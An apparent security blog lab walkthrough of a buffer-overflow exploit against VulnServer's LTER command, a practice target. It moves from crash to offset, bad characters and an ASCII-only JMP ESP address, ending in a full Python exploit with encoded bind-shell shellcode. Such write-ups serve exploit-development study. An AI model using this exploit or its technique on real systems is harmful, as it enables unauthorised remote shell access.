Capt. Meelo

An infosec guy who's constantly seeking for knowledge.

[VulnServer] Exploiting LTER Command using Restricted Characters

30 Jun 2018 » exploitdev, osceprep

The following skeleton was used for the exploitation of the LTER command.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*3000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

Sending this code caused the application to crash. Crash

I ran !mona pc 3000 to generate a unique string of 3000 bytes.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

Using !mona findmsp, that offset was identified at 2003 bytes. Offset

The code was modified to make sure that the offset was correct.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*2003
buffer += "BBBB"
buffer += "C"*(3000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

As seen, the offset was correct and 4 B’s overwrote EIP. It can also be seen that ESP was located directly after EIP and pointed to the buffer of C’s. BBB

To find the bad characters, I modified the following code and stored it right after the 4 B’s.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = "A"*2003
buffer += "BBBB"
buffer += badchars
buffer += "C"*(3000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

As seen here, right after \x7F, the character \x80 was translated to \x01. It turned out that every character after \x7F will be converted by subtracting \x7F. In the case of \xFF, it was converted to \x80 due to the minus \x7F. From that, I observed that the allowed characters were only ASCII (except of NULL byte). ASCII

With that, I used !mona jmp -r esp -cp ascii -m "essfunc.dll” to find an address containing an JMP ESP instruction. Take note of the option -cp ascii. This was used to make sure that the resulting address(es) only contains ASCII characters. For this, I used the firsts instance which was 0x62501203. JMP ESP

I then modifie the code and tried the JMP ESP address.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*2003
buffer += "\x03\x12\x50\x62"        # JMP ESP from essfunc.dll (ascii only)
buffer += "C"*(3000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

As seen, it worked and I was redirected to the buffer of C’s. CCCC

Next, I generated a shellcode using the alpha_mixed encoder. I had to use this encoder to generate a shellcode that would contain only the list of allowed characters. It should be noted also that I used the option BufferRegister=ESP. Without this option, the shellcode will begin with the opcodes \x89\xe2\xdb\xdb\xd9\x72. This opcodes are needed in order to find the shellcode’s absolute location in memory. In this exploit, I already knew the absolute location of my shellcode, which was in ESP. With that, I opted to use the BufferRegister=ESP option when I generated my shellcode. If you want to learn more about the alpha_mixed encoder, please read this. MSFvenom

The following shows the final exploit code.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -e x86/alpha_mixed -b "\x00" BufferRegister=ESP -f c
# Payload size: 710 bytes
shellcode = ("\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4d\x38\x6c\x42\x33\x30"
"\x33\x30\x43\x30\x43\x50\x4e\x69\x58\x65\x54\x71\x6b\x70\x33"
"\x54\x4c\x4b\x52\x70\x54\x70\x4c\x4b\x71\x42\x36\x6c\x4e\x6b"
"\x50\x52\x62\x34\x6c\x4b\x64\x32\x51\x38\x54\x4f\x4e\x57\x42"
"\x6a\x45\x76\x34\x71\x39\x6f\x6e\x4c\x35\x6c\x45\x31\x53\x4c"
"\x54\x42\x76\x4c\x47\x50\x49\x51\x78\x4f\x74\x4d\x57\x71\x6b"
"\x77\x68\x62\x59\x62\x53\x62\x66\x37\x4c\x4b\x73\x62\x52\x30"
"\x6e\x6b\x63\x7a\x75\x6c\x4c\x4b\x52\x6c\x46\x71\x33\x48\x38"
"\x63\x42\x68\x77\x71\x38\x51\x30\x51\x6e\x6b\x32\x79\x67\x50"
"\x33\x31\x38\x53\x6c\x4b\x51\x59\x42\x38\x6d\x33\x76\x5a\x70"
"\x49\x4e\x6b\x37\x44\x6e\x6b\x77\x71\x6a\x76\x64\x71\x39\x6f"
"\x6e\x4c\x79\x51\x38\x4f\x46\x6d\x65\x51\x4a\x67\x34\x78\x69"
"\x70\x30\x75\x68\x76\x56\x63\x33\x4d\x58\x78\x45\x6b\x51\x6d"
"\x67\x54\x73\x45\x48\x64\x73\x68\x4c\x4b\x36\x38\x54\x64\x55"
"\x51\x6b\x63\x50\x66\x4c\x4b\x44\x4c\x52\x6b\x6c\x4b\x76\x38"
"\x67\x6c\x77\x71\x5a\x73\x4c\x4b\x63\x34\x6c\x4b\x66\x61\x38"
"\x50\x6e\x69\x47\x34\x66\x44\x57\x54\x31\x4b\x43\x6b\x65\x31"
"\x33\x69\x62\x7a\x52\x71\x49\x6f\x49\x70\x71\x4f\x71\x4f\x51"
"\x4a\x4c\x4b\x45\x42\x78\x6b\x6e\x6d\x71\x4d\x61\x78\x34\x73"
"\x74\x72\x55\x50\x55\x50\x42\x48\x42\x57\x54\x33\x44\x72\x31"
"\x4f\x76\x34\x65\x38\x42\x6c\x74\x37\x56\x46\x36\x67\x59\x6f"
"\x78\x55\x78\x38\x6a\x30\x63\x31\x67\x70\x33\x30\x44\x69\x78"
"\x44\x72\x74\x66\x30\x42\x48\x56\x49\x4b\x30\x42\x4b\x53\x30"
"\x4b\x4f\x79\x45\x32\x4a\x75\x58\x30\x59\x62\x70\x6a\x42\x6b"
"\x4d\x57\x30\x56\x30\x53\x70\x52\x70\x61\x78\x79\x7a\x46\x6f"
"\x49\x4f\x39\x70\x6b\x4f\x6e\x35\x6d\x47\x62\x48\x57\x72\x73"
"\x30\x57\x61\x53\x6c\x6e\x69\x7a\x46\x70\x6a\x64\x50\x73\x66"
"\x52\x77\x33\x58\x39\x52\x49\x4b\x37\x47\x63\x57\x49\x6f\x59"
"\x45\x62\x77\x71\x78\x58\x37\x6a\x49\x34\x78\x59\x6f\x4b\x4f"
"\x39\x45\x50\x57\x43\x58\x43\x44\x68\x6c\x67\x4b\x48\x61\x49"
"\x6f\x4b\x65\x76\x37\x6e\x77\x72\x48\x34\x35\x42\x4e\x70\x4d"
"\x73\x51\x49\x6f\x4e\x35\x53\x58\x32\x43\x52\x4d\x45\x34\x53"
"\x30\x6e\x69\x6b\x53\x72\x77\x50\x57\x53\x67\x44\x71\x49\x66"
"\x43\x5a\x52\x32\x72\x79\x53\x66\x78\x62\x59\x6d\x30\x66\x79"
"\x57\x73\x74\x64\x64\x57\x4c\x65\x51\x57\x71\x4c\x4d\x73\x74"
"\x61\x34\x64\x50\x69\x56\x53\x30\x32\x64\x66\x34\x56\x30\x36"
"\x36\x66\x36\x43\x66\x72\x66\x46\x36\x72\x6e\x66\x36\x31\x46"
"\x33\x63\x30\x56\x30\x68\x71\x69\x58\x4c\x45\x6f\x4f\x76\x59"
"\x6f\x4a\x75\x4f\x79\x6d\x30\x50\x4e\x51\x46\x53\x76\x6b\x4f"
"\x54\x70\x53\x58\x64\x48\x4f\x77\x67\x6d\x31\x70\x39\x6f\x69"
"\x45\x4d\x6b\x59\x70\x55\x4d\x54\x6a\x46\x6a\x65\x38\x4d\x76"
"\x7a\x35\x4d\x6d\x6f\x6d\x6b\x4f\x68\x55\x35\x6c\x54\x46\x31"
"\x6c\x67\x7a\x6b\x30\x39\x6b\x39\x70\x43\x45\x63\x35\x6d\x6b"
"\x72\x67\x56\x73\x73\x42\x70\x6f\x62\x4a\x43\x30\x42\x73\x6b"
"\x4f\x4a\x75\x41\x41")

buffer = "A"*2003
buffer += "\x03\x12\x50\x62"        # JMP ESP from essfunc.dll (ascii only)
buffer += shellcode
buffer += "C"*(3000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()

Running this caused the target machine to spawn a bind shell on port 4444/tcp. Spawn

Connecting to this port allowed me to have shell access on the target machine. Shell